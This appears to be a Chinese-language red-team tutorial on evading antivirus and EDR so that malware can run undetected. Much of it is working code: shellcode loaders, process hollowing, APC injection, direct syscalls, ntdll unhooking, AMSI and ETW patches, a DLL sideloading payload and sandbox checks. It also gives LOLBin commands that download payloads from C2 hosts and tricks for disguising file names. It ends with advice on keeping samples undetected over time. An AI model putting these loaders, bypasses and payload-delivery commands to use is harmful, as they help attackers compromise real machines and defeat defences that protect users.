免杀技术

免杀基础

杀毒软件检测原理

要绕过检测,先要知道杀软在哪些环节、用什么方式发现恶意代码。现代杀软的检测体系大致如下:

检测机制 检测点 说明
特征码扫描 文件落地时、内存扫描时 提取文件中的字节序列、字符串、导入表、节区特征,与病毒库比对。是最基础也最容易对抗的一层
启发式检测 静态分析阶段 不依赖精确特征,根据代码结构、API 组合(如 VirtualAlloc + WriteProcessMemory + CreateRemoteThread)给”恶意度”打分
行为检测 程序运行时 通过在内核层注册回调、在用户态 HOOK API(通常在 ntdll 层断链)监控进程行为链,如”申请可执行内存 → 写入 → 创建远程线程”
AMSI 脚本/内存内容执行前 反恶意软件扫描接口,PowerShell、VBScript、.NET 等在执行前把内容送扫描,是内存马的主要关卡
ETW 程序运行时 Windows 事件追踪,CLR、进程、线程等事件会被安全产品消费,用于捕捉内存加载等行为
云查杀/沙箱 样本提交后 把可疑文件丢进沙箱运行,观察网络连接、文件操作、注册表修改,秒级回传结果

免杀总体思路

对应上述检测层次,免杀工作可以分成三条主线:

  1. 静态免杀:让落地文件在字节层面不含已知特征——混淆、加密、加壳、分离加载,对抗特征码与启发式。
  2. 动态免杀:让程序运行时的行为看起来正常——反沙箱、Direct Syscall 绕过用户态 Hook、Patch AMSI/ETW,对抗行为检测与沙箱。
  3. 白利用与伪装:让恶意代码借白程序之手执行——LOLBin、DLL 侧加载、文件伪装,从信任链上绕过。

实战中三者叠加使用:一个典型的免杀马 = 加密存储的 shellcode + 分离/远程加载 + 回调或 syscall 执行 + 反沙箱判断 + 白文件侧加载。

静态免杀(对抗特征码)

特征码定位与修改

经典思路是用 myccl、multiCCL 等工具把样本按段切分、逐段填充,反复提交扫描,把杀软命中的特征码区间逐步缩小到具体字节。定位到特征后,常见的修改手法:

  • 改跳转:特征落在 jz/jnz 等条件跳转上时,改成等价的 jmp+nop 或互换跳转条件+逻辑。
  • 等价指令替换add eax, 1inc eaxmov eax, 0xor eax, eax
  • 加花指令:在特征码中间插入不影响执行流的垃圾字节(见下文花指令一节)。
  • 字符串特征:把敏感字符串(”meterpreter”、”VirtualAlloc” 等)做大小写变换、拆断或加密。

该思路针对有源码的情况意义不大(源码级重新混淆更干净),主要用于无源码的现成样本。

源码级混淆

有源码时优先在源码层处理,效果远好于事后改二进制。

1. 字符串加密:所有明文字符串(URL、文件名、API 名、注册表键)都是特征来源。编译前把字符串加密成字节数组,运行时再解密:

1
2
3
// 编译期预置密文,运行时用 XOR 还原
char enc[] = { 0x58, 0x45, 0x47, 0x43, ... }; // "http://..." 与 0x55 异或的结果
for (int i = 0; i < sizeof(enc); i++) enc[i] ^= 0x55;

更进一步可用 C++ 的 constexpr 在编译期完成加密,二进制中只存在密文。

2. API 动态获取:导入表中的 VirtualAlloc、WriteProcessMemory 等敏感 API 是启发式的重点关注对象。改为运行时按名获取,导入表里就只剩 GetProcAddress 和 LoadLibrary:

1
2
3
4
typedef LPVOID(WINAPI* pVirtualAlloc)(LPVOID, SIZE_T, DWORD, DWORD);
HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
pVirtualAlloc MyVirtualAlloc = (pVirtualAlloc)GetProcAddress(hKernel32, "VirtualAlloc");
LPVOID addr = MyVirtualAlloc(NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

注意 “VirtualAlloc” 这类名字本身也是特征,需配合字符串加密一起用。

3. API 哈希:连 API 名字符串都不留,按哈希值遍历导出表匹配,是 shellcode 开发的标准做法(如 ROR13 哈希),工具链(如 Metasploit 的 block_api)都是这么实现的。

4. 花指令与垃圾代码:在执行流中插入不影响结果的指令,打乱特征码的连续性:

1
2
3
4
5
6
7
8
nop
push eax
pop eax
add esp, 4
sub esp, 4
jmp short next
db 0xE8 ; 永远不会执行到的垃圾字节,用于干扰线性反汇编
next:

加壳与保护

  • UPX 等压缩壳:只压缩不保护,且 UPX 特征极其明显,很多杀软对 UPX 加壳文件直接提高怀疑等级甚至报毒,单独用基本无免杀效果。
  • VMProtect、Themida、Enigma 等商业壳:把关键代码虚拟化成自定义字节码,静态分析难度大增,对特征码层面有较好效果。但壳的加载器本身也有特征,知名壳的”壳特征”同样会被标记,需要选不常见的版本并配合混淆。
  • 结论:加壳是辅助手段,不能代替源码级处理;自己写一个简单的加密壳(壳内解密 .text 段再跳 OEP)往往比知名壳效果更好,因为没有公开特征。

签名与资源伪造

杀软对白名单程序(有合法数字签名、正常版本信息)的信任度显著更高:

  • 签名窃取:用 sigthief 等工具把正常签名软件(如系统工具)的签名区整体剪贴到木马尾部。签名会失效,但部分杀软只检查”有没有签名”而不验证有效性。
  • 资源伪造:用 Resource Hacker 或编译时资源脚本,给木马补上正规的公司名、文件描述、版本号、图标,降低人工与启发式的警惕。

分离加载

核心思想:落地的文件里根本不含恶意内容,杀软对着一个”干净”的加载器自然扫不出东西。常见形式:

  • 加载器 + 密文 shellcode:shellcode 用 AES/RC4 加密后存成单独文件(或直接内嵌为密文资源),加载器运行时读入解密执行。文件分开落地,各自都不过特征。
  • 远程加载:加载器只包含一个 HTTP 下载逻辑,运行时从 C2 拉取加密的 shellcode 到内存解密执行,全程不落第二个文件。
  • 载体藏匿:把 shellcode 藏进正常文件的尾部、图片像素(LSB 隐写)或注册表值里,加载器负责提取。
1
2
3
4
// 远程拉取 + 解密执行的极简示例
BYTE* buf = DownloadFromUrl("https://c2.example.com/payload.enc", &size);
for (DWORD i = 0; i < size; i++) buf[i] ^= key[i % 16]; // 解密
ExecuteShellcode(buf, size); // 见第三章

Shellcode 加载技术

基础加载器

最经典的加载流程:申请可执行内存 → 写入 shellcode → 创建线程执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <windows.h>

unsigned char shellcode[] = { 0xfc, 0x48, 0x83, ... }; // msfvenom -f c 生成

int main() {
SIZE_T size = sizeof(shellcode);

// 申请 RW 内存(先不申请可执行权限,降低行为分)
LPVOID addr = VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_READWRITE);

// 写入 shellcode
memcpy(addr, shellcode, size);

// 改为可执行权限
DWORD oldProtect;
VirtualProtect(addr, size, PAGE_EXECUTE_READ, &oldProtect);

// 创建线程执行
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)addr, NULL, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
return 0;
}

注意:这套 VirtualAlloc(RWX) + memcpy + CreateThread 的组合本身就是杀软的重点特征,直接编译使用几乎必报。实战中至少要做三点改进:先 RW 后改 RX(如上)、敏感 API 动态化、配合下文的替代执行方式。

回调函数执行

Windows 大量 API 接受回调函数指针,把 shellcode 地址作为回调传入即可借 API 之手执行,行为特征与 CreateThread 明显不同:

1
2
3
4
5
6
7
8
// EnumWindows:为每个窗口调用一次回调
EnumWindows((WNDENUMPROC)addr, NULL);

// 其他常用回调 API
EnumFontsW(NULL, NULL, (FONTENUMPROCW)addr, NULL);
EnumChildWindows(NULL, (WNDENUMPROC)addr, NULL);
CreateTimerQueueTimer(&hTimer, NULL, (WAITORTIMERCALLBACK)addr, NULL, 0, 0, 0);
CertEnumSystemStore(CERT_SYSTEM_STORE_CURRENT_USER, NULL, NULL, (PFN_CERT_ENUM_SYSTEM_STORE)addr);

进阶用法还包括纤程(ConvertThreadToFiber + CreateFiber + SwitchToFiber)和线程池工作项,行为特征更冷僻。

APC 注入

APC(异步过程调用)可以把 shellcode 排入目标线程的执行队列,线程进入可告警状态时执行:

1
2
3
4
// 向本进程一个可告警线程投递
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)&dummy, NULL, CREATE_SUSPENDED, NULL);
QueueUserAPC((PAPCFUNC)addr, hThread, NULL);
ResumeThread(hThread); // 或用 SleepEx(0, TRUE) 等触发可告警等待

Early Bird 是常见变体:以 CREATE_SUSPENDED 创建挂起进程,写入 shellcode 后对其主线程 QueueUserAPC,再 ResumeThread——进程刚开始跑就执行 APC,赶在杀软的进程初始化监控之前完成执行。

进程镂空(Process Hollowing)

创建一个挂起的合法进程(如 explorer.exe),掏空其映像,替换成恶意代码再恢复运行。任务管理器里看到的是”正常进程”:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 1. 挂起创建傀儡进程
CreateProcessA(NULL, "C:\\Windows\\explorer.exe", NULL, NULL, FALSE,
CREATE_SUSPENDED, NULL, NULL, &si, &pi);

// 2. 卸载原映像
NtUnmapViewOfSection(pi.hProcess, baseAddress);

// 3. 申请内存并写入恶意 PE(DOS 头、PE 头、各节区逐段写入)
LPVOID newBase = VirtualAllocEx(pi.hProcess, imageBase, imageSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, newBase, peBuffer, headersSize, NULL);
// ... 逐节区 WriteProcessMemory ...

// 4. 修改线程入口点并恢复
context.Rcx = (DWORD64)newBase + entryPointOffset; // x64 下 Rcx 指向入口
SetThreadContext(pi.hThread, &context);
ResumeThread(pi.hThread);

行为检测会关注”进程内存被整体改写 + 入口点变更”,因此现代用法常配合 syscall(见下章)替换这里的 WriteProcessMemory 等 API。

反射加载与无落地

反射 DLL 注入(RDI):DLL 自身携带一个引导函数(ReflectiveLoader),在内存中自己完成 PE 加载的全过程——解析导入表、重定位、调用 DllMain,全程不经过 LoadLibrary,磁盘上没有 DLL 文件。Cobalt Strike 的 beacon.dll 即基于此。

PE 转 shellcode 工具

工具 用途
donut 把 .NET 程序集、PE、脚本转成可注入的 shellcode
sRDI 把普通 DLL 转成支持反射加载的 shellcode
pe_to_shellcode 直接把 PE 转成可执行 shellcode

.NET 反射加载:C# 程序用 Assembly.Load(byte[]) 直接从内存字节数组加载程序集并调用入口,无任何文件落地,是免杀后渗透工具(如 execute-assembly 机制)的基础:

1
2
3
4
byte[] raw = Convert.FromBase64String(File.ReadAllText("payload.b64"));
// 实际场景从远程下载密文并解密
var asm = System.Reflection.Assembly.Load(raw);
asm.EntryPoint.Invoke(null, new object[] { args });

Python ctypes 加载:目标有 Python 环境时,几行 ctypes 即可完成”申请内存 → 写入 → 执行”,脚本本身几乎无特征:

1
2
3
4
5
6
import ctypes
shellcode = b"\xfc\x48\x83..."
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p
addr = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x3000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(addr, shellcode, len(shellcode))
ctypes.windll.kernel32.CreateThread(0, 0, addr, 0, 0, 0)

动态免杀(对抗行为检测)

反沙箱与反虚拟机

沙箱分析有时间限制且环境特征明显,检测到沙箱就”装死”退出,可让样本在沙箱报告中表现为无害。常用检测维度:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// 1. CPU 核数:沙箱常只分配 1~2 核
SYSTEM_INFO si;
GetSystemInfo(&si);
if (si.dwNumberOfProcessors < 2) exit(0);

// 2. 物理内存:沙箱内存常小于 4G
MEMORYSTATUSEX ms = { sizeof(ms) };
GlobalMemoryStatusEx(&ms);
if (ms.ullTotalPhys < 4ULL * 1024 * 1024 * 1024) exit(0);

// 3. 用户名/计算机名:沙箱常用默认名
char username[256]; DWORD len = 256;
GetUserNameA(username, &len);
if (strstr(username, "sandbox") || strstr(username, "malware")) exit(0);
  • 延时执行Sleep(600000) 直接睡 10 分钟会被沙箱的快进机制跳过,变形做法是执行一段真实耗时的计算(如大循环浮点运算)、或分段睡眠并检测时间是否被加速(睡 60 秒前后 GetTickCount 差值远小于 60 秒即判定被快进)。
  • 交互检测:沙箱里没有真实用户,检测鼠标移动量(GetCursorPos 前后对比)、最近打开的文件数、窗口标题等。
  • 虚拟环境特征:检测虚拟机进程(vmtoolsd.exe、vboxservice.exe)、注册表键(SOFTWARE\VMware, Inc.)、MAC 地址前缀(00:0C:29 VMware、08:00:27 VirtualBox)。
  • 域环境检测:只认目标——校验计算机是否加入指定域,不是目标环境直接退出,对抗云沙箱效果极好。

直接系统调用

杀软的行为监控普遍在用户态实现:在进程加载的 ntdll.dll 里给关键函数(NtAllocateVirtualMemory、NtWriteVirtualMemory 等)的入口改写成跳转,跳到杀软自己的检测逻辑,这就是用户态 Hook。

正常的 API 调用链是 kernel32 → ntdll → syscall 进内核。Direct Syscall 的思路是绕过被下钩的 ntdll 函数入口,自己直接发起系统调用,杀软的钩子在调用链上被整个跳过。

1
2
3
4
5
; 典型的 syscall 桩(替代 NtAllocateVirtualMemory 的 ntdll 版本)
mov r10, rcx
mov eax, 18h ; SSN(系统服务号),随 Windows 版本变化
syscall
ret

SSN 是核心难点,主流获取方案:

方案 原理
Hell’s Gate 运行时读取本进程 ntdll 的导出函数,从 mov eax, SSN 指令里直接提取 SSN
Halo’s Gate 函数被钩时入口字节被改写,改为向上/向下搜索邻近的未钩函数,按 SSN 编号连续性推算目标 SSN
SysWhispers2 编译期生成按函数名哈希动态解析 SSN 的汇编桩,并支持跳转到 ntdll 内合法的 syscall 指令(间接跳转,规避”syscall 指令出现在非 ntdll 内存”的检测)
SysWhispers3 / HellHall 进一步加入调用栈伪造、随机跳转等反检测手段

取消钩取(Unhooking)

与 Direct Syscall”绕过钩子”不同,Unhooking 的思路是把钩子拆掉:从磁盘重新读一份干净的 ntdll.dll,用它的 .text 段覆盖内存中被杀软改写的部分:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// 1. 映射磁盘上的干净 ntdll
HANDLE hFile = CreateFileA("C:\\Windows\\System32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
HANDLE hMapping = CreateFileMappingA(hFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
LPVOID cleanNtdll = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0);

// 2. 定位内存中 ntdll 的 .text 段(已被杀软下钩)
LPVOID hookedNtdll = GetModuleHandleA("ntdll.dll");
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)hookedNtdll;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((BYTE*)hookedNtdll + dos->e_lfanew);
PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt);

// 3. 用干净 .text 覆盖被钩的 .text
for (int i = 0; i < nt->FileHeader.NumberOfSections; i++) {
if (memcmp(sec[i].Name, ".text", 5) == 0) {
DWORD old;
LPVOID dst = (BYTE*)hookedNtdll + sec[i].VirtualAddress;
LPVOID src = (BYTE*)cleanNtdll + sec[i].VirtualAddress;
VirtualProtect(dst, sec[i].Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &old);
memcpy(dst, src, sec[i].Misc.VirtualSize);
VirtualProtect(dst, sec[i].Misc.VirtualSize, old, &old);
}
}

覆盖后 ntdll 恢复原始逻辑,杀软的 Hook 全部失效。注意部分 EDR 会监控对 ntdll 内存的写操作,故常与 syscall 配合使用。

AMSI 与 ETW 绕过

AMSI(Antimalware Scan Interface):PowerShell、VBScript、.NET 4.8+ 的内存内容在执行前会调用 AmsiScanBuffer 送扫。绕过思路是在当前进程内存里 patch 该函数,让它永远返回”干净”:

1
2
3
4
5
6
7
8
9
// patch AmsiScanBuffer 使其直接返回 AMSI_RESULT_CLEAN (0)
// x64 经典补丁:mov eax, 0x80070057; ret(返回 E_INVALIDARG,AMSI 视为扫描失败放行)
// 或更干净的:xor eax, eax; ret 配合设置扫描结果
HMODULE hAmsi = LoadLibraryA("amsi.dll");
LPVOID pAmsiScanBuffer = GetProcAddress(hAmsi, "AmsiScanBuffer");
DWORD old;
VirtualProtect(pAmsiScanBuffer, patchSize, PAGE_EXECUTE_READWRITE, &old);
memcpy(pAmsiScanBuffer, patchBytes, patchSize);
VirtualProtect(pAmsiScanBuffer, patchSize, old, &old);

PowerShell 场景下常用一行反射修改 amsiInitFailed 字段的经典手法,但这类公开脚本特征早已被收录,需要自己变形。

ETW(Event Tracing for Windows):.NET 程序集加载、PowerShell 执行等都会发 ETW 事件。patch 当前进程的 EtwEventWrite 函数开头为 ret(x64 为 xor eax, eax; ret 或直接 C3),事件发不出去,基于 ETW 的监控即失明。

两者都只影响当前进程、不改系统全局,且 patch 行为本身可能被 EDR 捕获——与 Unhooking 一样,属于”组合拳”中的一环而非万能钥匙。

白利用与伪装

LOLBin 白利用

LOLBin(Living Off the Land Binaries)指 Windows 自带的、有微软签名的合法程序,它们能被用来执行任意代码或下载文件。杀软对这些程序默认信任,借它们之手执行可大幅绕过检测:

程序 典型滥用方式 用途
mshta mshta http://c2/x.htamshta vbscript:Close(CreateObject("Wscript.Shell").Run(...)) 执行远程/内嵌脚本
regsvr32 regsvr32 /s /n /u /i:http://c2/x.sct scrobj.dll 加载远程 scriptlet 执行(squiblydoo 技巧)
rundll32 rundll32 javascript:"\..\mshtml,RunHTMLApplication";... 借 mshtml 执行脚本
certutil certutil -urlcache -split -f http://c2/x.exe x.execertutil -decode x.b64 x.exe 下载文件、base64 解码
installutil / regasm installutil /logfile= /U evil.exe 执行 .NET 程序集的卸载/注册回调(无需 Main)
msbuild msbuild project.xml(内嵌 Task 代码) 编译执行内嵌 C# 代码
bitsadmin bitsadmin /transfer x http://c2/x.exe C:\x.exe 下载文件、维持持久化

更多条目可查 LOLBAS 项目,它是该领域的权威索引。

DLL 侧加载(白加黑)

许多有签名的白程序启动时会从自身目录加载 DLL,且不校验 DLL 签名。把恶意 DLL 改成白程序需要的名字放在同目录,白程序启动即加载恶意代码——进程链上只有一个正常的签名程序:

  1. 找目标:用 ProcMon 或脚本(如 Siofra、DLLHijackScanner)扫描有签名程序的 DLL 加载行为,筛选”程序自身目录中缺失的 DLL”。常见目标是各类厂商的升级程序、安全软件组件、系统工具的旧版本。
  2. 做转发:恶意 DLL 需要顶替原 DLL 的导出函数,否则白程序调用不到函数会崩溃。用导出转发把调用转给真正的 DLL(#pragma comment(linker, "/export:FuncA=real_dll.FuncA")),只在自己的 DllMain 里夹带私货。
  3. 起私货:DllMain 中不能做复杂操作(加载器锁),标准做法是 CreateThread 起一个新线程,在线程里完成解密、加载 shellcode。
1
2
3
4
5
6
7
BOOL WINAPI DllMain(HINSTANCE hinst, DWORD reason, LPVOID reserved) {
if (reason == DLL_PROCESS_ATTACH) {
DisableThreadLibraryCalls(hinst);
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)LoadShellcode, NULL, 0, NULL);
}
return TRUE;
}

文件伪装

  • 图标与文件名:把 exe 伪装成 Word/PDF 图标,文件名起”合同.pdf.exe”,配合隐藏已知扩展名的默认设置钓鱼。
  • 长文件名藏后缀重要文件.pdf .exe(中间大量空格或 Tab),资源管理器省略显示真实后缀。
  • RTLO 字符:在文件名中插入 Unicode 右到左覆盖符(U+202E),使显示顺序反转,gpj.exe 显示为 exe.jpg 样式。现代杀软与系统对此已有较多拦截,仅作了解。

免杀工程化与验证

语言与工具链

方向 代表工具/语言 说明
C/C++ 混淆 OLLVM(控制流平坦化、指令替换)、编译期字符串加密 免杀马的主力语言,配合手工 syscall/回调加载
Go / Rust / Nim garble(Go 混淆)、nim 的加密加载器模板 杀软特征库相对少,天然编译型无脚本特征;缺点是体积大、网络库特征明显
PowerShell Invoke-Obfuscation、AMSI.fail 生成的混淆器 红队脚本必备,但 PowerShell 是 AMSI 重点监控对象
.NET ConfuserEx、.NET Reactor、dnSpy 手工改 配合 Assembly.Load 内存加载体系
C2 框架 Cobalt Strike artifact kit(自定义 stager 源码)、malleable C2 profile(流量与内存特征定制)、sleep mask(睡眠时加密自身内存) 工程化免杀的核心是”每次出马特征都不同”

工程化原则:特征 = 复用。同一套模板用的次数越多,被收录的特征越全。把字符串、加密密钥、加载方式、API 调用顺序做成可替换的变量,每次构建随机组合,才能长期对抗。

效果验证

  1. 本地实测为准:搭多台装有不同杀软的虚拟机(Defender、火绒、360、卡巴斯基等),打快照后丢马实测,测完回滚。本地能过才是真过。
  2. 在线平台参考
    • VirusTotal:引擎最全,但上传的样本会共享给所有安全厂商,自己写的马一经上传特征很快入库,敏感样本慎用,可用其”仅哈希查询”先查再决定。
    • 微步云沙箱、virscan:国内样本检测参考。
  3. 验证三个层次,缺一不可:
    • 静态扫描:右键查杀不报;
    • 执行行为:双击运行不被拦截、不弹警告;
    • 内存扫描:运行后让杀软做全盘/内存扫描不报警(很多马静态能过、一执行被 AMSI 或内存扫描抓)。
  4. 通过三关后,上线一段时间再复查:杀软的云查杀可能在样本运行数小时后回传结果补杀,持续存活的马才算真正完成。

参考与小结

免杀的本质是一场”特征对抗”:攻击方不断寻找新的执行路径和信任缝隙,防守方不断把新路径纳入检测。本篇按静态特征、动态行为、白利用三条线梳理了主流手法,但实际对抗中任何单一手法都难以持久,真正的免杀方案永远是多种技术的组合与持续迭代。作为防守方,理解这些攻击面同样重要——行为链监控、内存扫描、ETW 消费、AMSI 集成,正是针对上述每一层攻击手法的应对之策。